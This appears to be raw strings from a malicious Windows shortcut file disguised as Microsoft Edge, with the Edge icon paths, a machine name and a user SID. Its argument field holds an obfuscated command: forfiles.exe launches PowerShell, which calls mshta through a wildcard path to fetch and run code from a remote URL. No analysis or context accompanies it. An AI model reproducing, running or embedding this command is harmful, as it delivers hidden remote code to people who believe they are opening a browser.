Windows
System32
forfiles.exe
C:\Windows\System32\forfiles.exe
%ProgramFiles%\Microsoft\Edge\Application\msedge.exe
desktop-2nfcde2
PWindows
System32
forfiles.exe
&..\..\..\Windows\System32\forfiles.exed/p C:\Windows\System32 /m calc.exe /c "powershell . \*i*\S*3*\m*ta.e* https://fastrubberstamps.ca/7"<C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
%ProgramFiles%\Microsoft\Edge\Application\msedge.exe
S-1-5-21-771149270-1825707847-1123324009-1001